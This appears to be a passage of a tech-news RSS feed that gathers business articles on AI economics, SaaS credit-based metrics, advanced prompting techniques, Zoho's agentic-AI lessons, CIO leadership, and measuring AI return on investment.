“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.

But Logan Wolfe, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.

The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.

“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.

]]> <![CDATA[Google Released Gemini 3.5 Flash Cyber AI, a Specialized AI Model for Vulnerability Hunting]]> https://tsecurity.de/de/3688998/it-security-nachrichten/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/ https://tsecurity.de/de/3688998/it-security-nachrichten/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/ Thu, 23 Jul 2026 14:15:48 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[The new value architecture of the AI-native SaaS era]]> https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ https://tsecurity.de/de/3688966/it-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/ Thu, 23 Jul 2026 14:05:04 +0200 📰 IT Nachrichten tsecurity.de

The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.

In brief:

  • AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.
  • Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.
  • These changes impact everything from pricing to valuations.

The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.

The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.

While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a credit-centric metrics framework, with seats and outcomes as the bookends of a spectrum.

Why do software companies need new metrics?

Why the rethink, and why now? There are five major forces that are driving this shift:

  1. The unit of value is changing. Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.
  2. The cost of goods sold (COGS) is exploding. AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.
  3. Buying is moving up the org chart. AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.
  4. Time to value (TTV) is collapsing. With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.
  5. Retention is bifurcating. AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.

How this shift is impacting pricing

Given how AI-native software is transforming the market, the shift to more variable pricing options is inevitable.

Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.

Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.

Finally, the industry will likely see some move toward outcome-based pricing for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.

Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.

How AI upends classic SaaS metrics

When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?

But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:

Revenue composition

  • Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.
  • Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.
  • Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.
  • Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.

Margin reality

  • Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.
  • Inference-adjusted gross margin: By carving out AI inference costs separately in the P&L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.
  • Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.
  • AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.

Behavioral and value signals

  • Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.
  • Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.
  • Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.

Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.

What does this mean for enterprise value calculations?

As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.

Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.

For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.

In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.

We’re also seeing an inversion of the operating model, with R&D and COGS moving up the P&L and sales and marketing (S&M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.

Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.

What this means for leaders, boards and investors

The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.

While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.

It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.

The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst & Young LLP or other members of the global EY organization.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Go-Go Town! Review (PC)]]> https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/ https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/ Thu, 23 Jul 2026 13:45:17 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Stop asking AI nicely: Here’s how to get work-ready results every time]]> https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ https://tsecurity.de/de/3688796/it-nachrichten/stop-asking-ai-nicely-heres-how-to-get-work-ready-results-every-time/ Thu, 23 Jul 2026 13:07:21 +0200 📰 IT Nachrichten tsecurity.de

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”  

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

  • Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
  • Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
  • Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
  • Security guardrails: Always include instructions against prompt injections and respect data boundaries.
  • When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]> https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/ Thu, 23 Jul 2026 12:04:43 +0200 📰 IT Nachrichten tsecurity.de

When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.

“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.

“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.

Speaking to a room of tech leaders at the CIO 100 Leadership Live New York event last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:

  • Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.
  • Smarter: The system around the model decides more than the model does.
  • Safer: Verify at the point a mistake gets locked in, not just downstream of it.

He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.

To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.

“The intelligence moves from the model into the architecture around it,” he said.

A steep learning curve

One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.

“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”

In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.

Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.

“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.

Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.

“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”

The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.

“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.

Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.

Routing

Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.

Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.

“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”

Harness

An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.

“It’s the process around the model, which matters way more than the model itself,” Thakrar said.

In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.

For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.

Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.

“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”

But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.

Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.

Specialization

Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.

Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.

“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”

]]> <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ Thu, 23 Jul 2026 11:43:10 +0200 📰 IT Nachrichten tsecurity.de

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

]]> <![CDATA[Determining the ROI of AI requires data that most companies lack]]> https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/ https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/ Thu, 23 Jul 2026 11:07:22 +0200 🔧 AI Nachrichten tsecurity.de

Leadership wants to scale AI. Budgets are tripling. Adoption is up.

Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?

Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.

Applying lessons learned from managing cloud spend won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get cloud ROI, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.

But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.

AI providers won’t fix this problem

The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.

Not convinced? Compare what AWS gives you to what an AI provider gives you.

AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.

An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.

If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. 

Three required sources

Building AI ROI measurement requires three data sources, stitched together in a single model.

  1. Cost data, normalized across providers. Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.
  2. Application-layer telemetry. This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.
  3. Business data. Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.

Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.

Why agentic AI makes this urgent

Single-call inference is the easy case. One request, one cost, one customer, one outcome.

Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.

If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.

When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.

What changes when the three sources come together

Once the three sources are stitched together, the AI investment conversation changes.

Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. 

Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.

The build trap

AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.

The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.

It is a trap. Three reasons.

Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as vibe coding a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.

